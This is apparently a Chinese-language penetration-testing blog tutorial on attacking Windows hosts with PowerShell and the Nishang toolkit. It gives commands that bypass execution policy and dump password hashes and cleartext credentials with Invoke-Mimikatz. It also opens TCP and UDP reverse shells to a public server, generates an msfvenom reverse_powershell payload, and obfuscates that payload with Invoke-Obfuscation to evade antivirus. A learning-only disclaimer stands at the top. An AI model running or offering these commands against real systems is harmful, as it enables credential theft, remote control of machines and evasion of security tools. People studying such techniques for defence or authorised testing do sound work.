"/>
声明:Cmdgaga小伙伴原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 初始PowerShell,首先我们先来了解一下概念:PowerShell可以当做是cmd(bat脚本语言)的升级版,它是Windows平台上的脚本语言,是面向对象,是和 .Net FrameWork 密切相关的。也可以认为是Windows上的bash shell。 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Host 环境中获得的知识和创建的脚本。代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。其实我们在渗透测试过程中需要绕过一些防护软件,除了绕过脚本或者其它的工具以外,PoweShell工具其实也是一个不错的选择。 比如,我们在目标主机上面用密码抓取神奇mimikatz,这款由法国大牛写的神奇相比大家都经常用,最牛逼指出是可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码。但是如果免杀做的不好的话,也会直接被某免杀全家桶给直接pass。利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令。下面介绍几款比较使用的工具: 下面我们结合实验环境来分别说一下其中一款常用的工具,有什么错误还望大佬们指点。
Nishang简介Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。这款工具小白在日常渗透测试中使用次数较多的一款工具。首先我们需要下载这个工具,下载的地址:https://github.com/samratashok/nishang, 下载完毕后我们可以看到以下工具里面都包括一些什么
Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。
Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。
密码抓取来一波当我们拿到一台服务器的时候,我们需要知道目标主机是物理机还是虚机,执行命令:Check-VM 首先说明一下,nishang里面也集成了抓取密码的脚本,先抓取一下hash值: #Get-PassHashes //简单直接的抓取,并显示在dos界面; #powershell –exec bypass –Command “& {Import-Module ‘C:nishangGatherGet-PassHashes.ps1′;Get-PassHashes -PSObjectFormat | Out-File hash.txt}” //获取hash值并保存在自定义的文档中。
#powershell –exec bypass –Command “& {Import-Module ‘C:nishangGatherInvoke-Mimikatz.ps1′;Invoke-Mimikatz}” 尝试直接抓取当前系统用户的明文密码。(最常用的命令) 端口反弹搞一波在渗透测试中我们在做端口转发的时候遇到一系列 的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。这里除了介绍一下自带的端口转发,还实验一下配合MSF进行端口转发,都需要一台公网服务器。 1、TCP端口转发(反向连接) 公网服务器上面执行监听命令:nc -lvp 5555 目标主机执行端口转发命令:Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555 这样我们分别在目标主机和公网上面执行命令后,公网服务器就会反弹一个shell,这样我们就可以执行内网服务器的命令。
公网服务器上面执行监听命令:nc -lup 6666 目标主机执行端口转发命令:Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
##msfvenom -l payloads |grep ‘reverse_powershell //查询powershell模块的位置。
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,类型是Powershell,标红的一段是需要在目标主机上面执行的命令。
首先我们先启动一下Invoke-Obfuscation这个工具: Import-Module ./Invoke-Obfuscation.psd1 //导入Invoke-Obfuscation.psd1; Invoke-Obfuscation //启动Invoke-Obfuscation工具;
Set scriptblock ‘有效载荷’; 我们选择将整个命令作为字符串进行obfuse(具体选择根据具体的渗透测试环境): 选择1进行ASCII混淆处理,我们输入out 1.ps1进行输出查看,这个命令也相当于将混淆完毕的文件保存在当前目录下,并以1.ps1: 在目标主机上面进行执行此脚本,公网服务器监听9999端口,也可以成功的反弹内网主机的shell:
|